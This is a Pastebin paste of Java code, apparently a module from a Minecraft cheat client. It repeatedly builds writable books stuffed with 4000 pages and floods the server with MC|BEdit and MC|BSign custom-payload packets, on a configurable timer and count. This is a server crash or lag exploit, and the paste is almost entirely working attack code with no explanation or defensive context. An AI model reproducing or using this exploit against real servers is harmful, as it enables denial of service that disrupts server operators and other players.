Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @Op(min = 1.0D, max = 1000.0D, increment = 50.0D)
- public double delay;
- @Op(min = 0.0D, max = 180.0D, increment = 5.0D)
- public double packets;
- private Timer timer = new Timer();
- @EventTarget
- public void on(UpdateEvent event) {
- if (this.timer.delay((float)this.delay)) {
- for (int time = 0; time < this.packets; time++) {
- ItemStack bookObj = new ItemStack(Items.writable_book);
- NBTTagList bookPages = new NBTTagList();
- for (int i = 0; i < 4000; i++) {
- bookPages.appendTag(new NBTTagString("a"));
- }
- while (bookPages.tagCount() > 1) {
- String s = bookPages.getStringTagAt(bookPages.tagCount() - 1);
- if (s.length() != 0) {
- break;
- }
- bookPages.removeTag(bookPages.tagCount() - 1);
- }
- if (bookObj.hasTagCompound()) {
- NBTTagCompound nbttagcompound = bookObj.getTagCompound();
- nbttagcompound.setTag("pages", bookPages);
- } else {
- bookObj.setTagInfo("pages", bookPages);
- }
- PacketBuffer packetbuffer = new PacketBuffer(Unpooled.buffer());
- packetbuffer.writeItemStackToBuffer(bookObj);
- ClientUtils.packet(new C17PacketCustomPayload("MC|BEdit", packetbuffer));
- bookObj.setTagInfo("author", new NBTTagString("a"));
- bookObj.setTagInfo("title", new NBTTagString("a"));
- for (int i = 0; i < bookPages.tagCount(); i++) {
- String s1 = bookPages.getStringTagAt(i);
- ChatComponentText chatComponentText = new ChatComponentText(s1);
- s1 = IChatComponent.Serializer.componentToJson(chatComponentText);
- bookPages.set(i, new NBTTagString(s1));
- }
- packetbuffer = new PacketBuffer(Unpooled.buffer());
- packetbuffer.writeItemStackToBuffer(bookObj);
- ClientUtils.packet(new C17PacketCustomPayload("MC|BSign", packetbuffer));
- }
- this.timer.reset();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement